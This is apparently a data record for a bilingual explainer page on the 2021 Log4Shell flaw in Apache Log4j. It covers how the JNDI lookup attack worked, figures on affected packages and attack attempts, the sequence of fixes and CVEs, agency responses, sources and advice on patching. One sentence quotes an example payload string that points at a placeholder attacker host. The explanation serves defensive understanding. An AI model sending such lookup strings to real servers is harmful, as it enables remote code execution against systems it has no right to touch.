{"data":{"case":{"actions":{"de":["Aktualisiere Log4j auf **2.17.1** oder neuer; unter Java 7 nimm **2.12.4**, unter Java 6 **2.3.2**.","Such Log4j auch in anderen Produkten: Die meisten Pakete binden es über andere Pakete ein. Frag deshalb deine Softwarehersteller, ob ihre Versionen behoben sind.","War eine alte Version jemals aus dem Internet erreichbar, prüfe Logs und Systeme auf Spuren eines Angriffs: Die ersten Versuche gab es am 1. Dezember 2021, bevor die Lücke öffentlich war."],"en":["Update Log4j to **2.17.1** or newer; on Java 7 use **2.12.4**, on Java 6 **2.3.2**.","Look for Log4j inside other products too: most packages include it through other packages. So ask your software vendors whether their versions are fixed.","If an old version was ever reachable from the internet, check logs and systems for signs of attack: the first attempts came on December 1, 2021, before the flaw was public."]},"criteria":{"damage":{"de":"Ein Gesamtschaden ist nicht dokumentiert. Laut dem US-amerikanischen Cyber Safety Review Board wurde die Lücke weniger ausgenutzt, als viele Fachleute vorhergesagt hatten (CSRB, Juli 2022).","en":"No total damage is documented, and the US Cyber Safety Review Board found exploitation lower than many experts had predicted (CSRB, July 2022).","met":false},"exploitation":{"de":"Angriffsversuche erreichten bis zum 20. Dezember 2021 mehr als 48 % der Unternehmensnetze weltweit (Herstellerdaten von Check Point).","en":"Attack attempts reached more than 48 % of corporate networks worldwide by December 20, 2021 (Check Point vendor data).","met":true},"reach":{"de":"35.863 Java-Pakete auf Maven Central, mehr als 8 % aller, nutzten den fehlerhaften Code (Google, 16. Dezember 2021). Das ist weniger als ein Zehntel. Eine Zahl betroffener Systeme ist nicht dokumentiert.","en":"35,863 Java packages on Maven Central, more than 8 % of all, used the flawed code (Google, December 16, 2021). That is short of a tenth. No count of affected systems is documented.","met":false},"response":{"de":"Das BSI stufte seine Warnung am 11. Dezember 2021 auf die Warnstufe Rot hoch (BSI). Die CISA erließ am 17. Dezember die Notfallanweisung 22-02 (CSRB-Bericht).","en":"Germany's BSI raised its warning to level red on December 11, 2021 (BSI). CISA issued Emergency Directive 22-02 on December 17 (CSRB report).","met":true}},"cves":["CVE-2021-44228","CVE-2021-45046","CVE-2021-45105","CVE-2021-44832"],"cvss":10,"cvss_version":"3.1","cwe":"CWE-917, CWE-20, CWE-674","dates":[{"date":"2021-11-24","key":"reported"},{"date":"2021-12-01","key":"exploited"},{"date":"2021-12-09","key":"disclosed"},{"date":"2021-12-10","key":"patched"},{"date":"2021-12-11","de":"Das BSI stuft seine Warnung auf die Warnstufe Rot hoch","en":"Germany's BSI raises its warning to level red"},{"date":"2021-12-17","de":"Die CISA erlässt die Notfallanweisung 22-02 für US-Bundesbehörden","en":"CISA issues Emergency Directive 22-02 to US federal agencies"}],"de":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) und 2.3.2 (Java 6); erster Fix 2.15.0 am 10. Dezember 2021","product":"Apache Log4j 2, eine Logging-Bibliothek für Java-Programme","summary":"Eine Zeile Text in einem Log genügte, damit Server den Code von Angreifern ausführten. Die Lücke steckte in einer Java-Bibliothek, von der 35.863 Pakete abhingen."},"disclosed":"2021-12-09","en":{"credit":"Alibaba Cloud Security Team","fixed":"Log4j 2.17.1, 2.12.4 (Java 7) and 2.3.2 (Java 6); first fix 2.15.0 on December 10, 2021","product":"Apache Log4j 2, a logging library for Java programs","summary":"One line of text in a log was enough to make servers run attackers' code, through a Java library that 35,863 packages depended on."},"figures":[{"de":"Java-Pakete auf Maven Central nutzten den fehlerhaften Code, mehr als 8 % aller (Google)","en":"Java packages on Maven Central used the flawed code, more than 8 % of all (Google)","value":"35,863"},{"de":"der Unternehmensnetze weltweit sahen bis zum 20. Dezember 2021 Angriffsversuche (mehr als; Daten von Check Point)","en":"of corporate networks worldwide saw attack attempts by December 20, 2021 (more than; Check Point data)","value":"48 %"},{"de":"Minuten nach der Veröffentlichung sah Cloudflare den ersten Angriffsversuch","en":"minutes after the flaw went public, Cloudflare saw the first attack attempt","value":"9"},{"de":"Stunden wendete ein einziges US-Bundesministerium für seine Reaktion auf","en":"hours one US federal department spent on its response","value":"33,000"}],"kev":"2021-12-10","key":"log4shell","name":"Log4Shell","product":"Apache Log4j 2","sources":[{"de":"Apache Logging Services: Sicherheitsseite zu Log4j, mit Bewertungen und korrigierten Versionen","title":"Apache Logging Services: Log4j security page, with scores and fixed versions","url":"https://logging.apache.org/security.html"},{"de":"Versionshinweise zu Log4j","title":"Log4j release notes","url":"https://logging.apache.org/log4j/2.x/release-notes.html"},{"de":"NVD: CVE-2021-44228","title":"NVD: CVE-2021-44228","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-44228"},{"de":"CVE-Eintrag CVE-2021-44832, mit den korrigierten Versionen","title":"CVE record CVE-2021-44832, with the fixed versions","url":"https://www.cve.org/CVERecord?id=CVE-2021-44832"},{"de":"US Cyber Safety Review Board: Untersuchung des Log4j-Vorfalls (Juli 2022, PDF)","title":"US Cyber Safety Review Board: review of the Log4j event (July 2022, PDF)","url":"https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf"},{"de":"Google: das Ausmaß der Log4j-Lücke","title":"Google: understanding the impact of the Log4j flaw","url":"https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html"},{"de":"Cloudflare: Ausnutzung von Log4Shell vor der Veröffentlichung","title":"Cloudflare: exploitation of Log4Shell before its disclosure","url":"https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/"},{"de":"Check Point: die Zahlen hinter den Log4j-Angriffen (Herstellerdaten)","title":"Check Point: the numbers behind the Log4j attacks (vendor data)","url":"https://blog.checkpoint.com/security/the-numbers-behind-a-cyber-pandemic-detailed-dive/"},{"de":"BSI: Warnstufe Rot wegen Log4Shell (11. Dezember 2021)","title":"BSI: warning level red for Log4Shell (December 11, 2021, in German)","url":"https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html"},{"de":"Sonatype: verwundbare Log4j-Downloads im Jahr 2025","title":"Sonatype: vulnerable Log4j downloads in 2025","url":"https://www.sonatype.com/blog/unnecessary-risk-the-persistence-of-open-source-vulnerabilities"}],"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","year":2021}},"description":"Eine Lücke in der Java-Bibliothek Log4j ließ Angreifer mit einer Textzeile Server übernehmen. Wie das ging, wie weit es reichte, was jetzt zu tun ist.","language":"de","latest_measurement":"2026-11-01","method":"latency-v3","method_page":"https://crackthe.net/de/daten/methode/","source":"https://crackthe.net/","text":"Am 9. Dezember 2021 machte ein Beitrag auf Twitter eine Sicherheitslücke in Log4j öffentlich. Log4j ist eine Bibliothek der Apache Software Foundation. Java-Programme schreiben damit Logs, also Protokolle darüber, was ein Programm tut. Wenn ein solches Programm eine kurze Textzeile von einem Angreifer protokollierte, konnte der Server den Code des Angreifers laden und ausführen. Ein Passwort war dafür nicht nötig.\nDie US-amerikanische National Vulnerability Database bewertet die Lücke, bekannt als Log4Shell, mit 10,0, dem höchstmöglichen Wert.\nSo funktionierte der Angriff Log4j schreibt nicht nur Log-Meldungen. Es wertet auch Platzhalter darin aus, sogenannte Lookups, die wie ${...} aussehen. Einer dieser Lookups, JNDI, lässt die Bibliothek ein Objekt von einem Verzeichnisserver im Netz abrufen. Ein Angreifer musste nur eine Zeichenfolge wie ${jndi:ldap://attacker.example/x} in etwas einschleusen, das der Server protokollierte. Das konnte ein Benutzername sein, eine Chat-Nachricht oder der Browsername, den eine Webanfrage üblicherweise mitschickt. Der Server kontaktierte dann den Verzeichnisserver des Angreifers und erhielt einen Verweis auf ein Java-Programm. Je nach Java-Version und vorhandenen Bibliotheken lud und startete er dieses Programm.\nAngreifersendet eine Anfrage mit einem Lookup-Text Log4jprotokolliert den Text und wertet den Lookup aus Servernimmt Kontakt zum Verzeichnisserver des Angreifers auf Javalädt den Code des Angreifers und führt ihn aus Log4Shell in vier Schritten: Der Angreifer meldet sich nie an. Es reicht, dass der Server den Text in sein Log schreibt. Reichweite, Angriffe und Schaden Maven Central ist die wichtigste öffentliche Sammlung von Java-Bibliotheken. Am 16. Dezember 2021 zählte Google dort 35.863 Java-Pakete, die vom fehlerhaften Log4j-Code abhingen. Das sind mehr als 8 % aller Pakete in der Sammlung, während ein durchschnittlicher Sicherheitshinweis für Maven Central 2 % betrifft. Nur etwa 7.000 dieser Pakete nutzten Log4j direkt. Die übrigen bezogen es über andere Pakete, meist fünf Ebenen tief.\nJava-Pakete auf Maven Central und Log4Shell Betroffene Pakete35.863 Davon mit Log4j als direkter Abhängigkeit (etwa)7.000 Nach weniger als einer Woche behoben4.620 Quelle: Google Open Source Insights, 16. und 17. Dezember 2021.\nDie Angriffe begannen, bevor die Lücke öffentlich war. Cloudflare sah am 1. Dezember, acht Tage vor der Veröffentlichung, erste vereinzelte Tests. Den ersten Angriffsversuch registrierte Cloudflare nur neun Minuten nach dem Beitrag.\nVon Cloudflare blockierte Log4Shell-Angriffe 10. Dezember5.483 11. Dezember18.606 12. Dezember27.439 13. Dezember24.642 Blockierte Anfragen pro Minute, Tagesdurchschnitt, Dezember 2021. Herstellerdaten von Cloudflare.\nFünf Tage nach der Veröffentlichung zählte Cloudflare 400 Versuche pro Sekunde, wie das US-amerikanische Cyber Safety Review Board festhielt. Bis zum 20. Dezember hatte das Sicherheitsunternehmen Check Point mehr als 4,3 Millionen Versuche blockiert. Es hatte Angriffsversuche auf mehr als 48 % der Unternehmensnetze weltweit gesehen. Das sind gezählte Versuche in den eigenen Daten des jeweiligen Herstellers, keine erfolgreichen Einbrüche. Die Zahlen lassen sich nicht miteinander vergleichen.\nUnternehmensnetze mit mindestens einem Angriffsversuch Österreich59 % Deutschland54 % Schweiz47 % USA46 % Herstellerdaten von Check Point, Stand 13. Dezember 2021.\nWie groß der Schaden war, ist nicht dokumentiert. Das Cyber Safety Review Board untersuchte 2022 den Fall. Es stellte fest, dass die Lücke weniger ausgenutzt wurde als von vielen Fachleuten angesichts ihrer Schwere vorhergesagt. Es betonte zudem, dass es keine verlässlichen Daten zur Ausnutzung gibt. Die Kosten lagen vor allem in der Reaktion: Allein ein US-Bundesministerium meldete 33.000 Arbeitsstunden für Log4j.\nFix und Reaktion Das Alibaba Cloud Security Team meldete die Lücke am 24. November 2021 an Apache. Apache übernahm am 5. Dezember einen Fix in den Quellcode und stellte am 10. Dezember Version 2.15.0 bereit. Dieser Fix war unvollständig. Es folgten drei weitere Versionen.\nVier Log4j-Versionen in 17 Tagen 1 2 3 4 110. Dezember 20212.15.0 schränkt JNDI-Lookups ein, lässt aber eine Lücke 213. Dezember 20212.16.0 entfernt Lookups in Meldungen und schaltet JNDI standardmäßig ab\u0026#43;3 Tage 317. Dezember 20212.17.0 behebt einen Lookup, der sich so lange wiederholt, bis das Programm abstürzt\u0026#43;7 Tage 427. Dezember 20212.17.1 behebt einen Angriff über das Protokollieren in Datenbanken\u0026#43;17 Tage Die Folgelücken erhielten eigene CVE-Nummern. CVE-2021-45046, die verbliebene Lücke in 2.15.0, ist mit 9,0 bewertet. CVE-2021-45105, der Absturz, ist mit 5,9 bewertet. CVE-2021-44832, mit 6,6 bewertet, lässt sich nur ausnutzen, wenn ein Angreifer die Log-Einstellungen bereits ändern kann. Für Programme auf älteren Java-Versionen veröffentlichte Apache 2.12.4 für Java 7 und 2.3.2 für Java 6.\nBehörden reagierten schnell. Die US-Cybersicherheitsbehörde CISA nahm Log4Shell am 10. Dezember in ihre Liste ausgenutzter Schwachstellen auf, am Tag des ersten Fixes. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte seine Warnung am 11. Dezember auf die Warnstufe Rot hoch. Am 17. Dezember erließ die CISA die Notfallanweisung 22-02, eine Anordnung, die US-Bundesbehörden befolgen müssen.\nAuch Jahre später noch im Einsatz Viele Kopien blieben ungepatcht. Google rechnete mit einer langen Wartezeit, wahrscheinlich Jahren, bis das ganze Maven-Ökosystem bereinigt wäre. Laut Sonatype enthielten 2025 noch immer etwa 13 % aller Log4j-Downloads die Lücke Log4Shell, das sind rund 40 Millionen.","title":"Log4Shell: Wenn eine Log-Zeile fremden Code startet","url":"https://crackthe.net/de/sicherheit/schwachstellen/log4shell/"}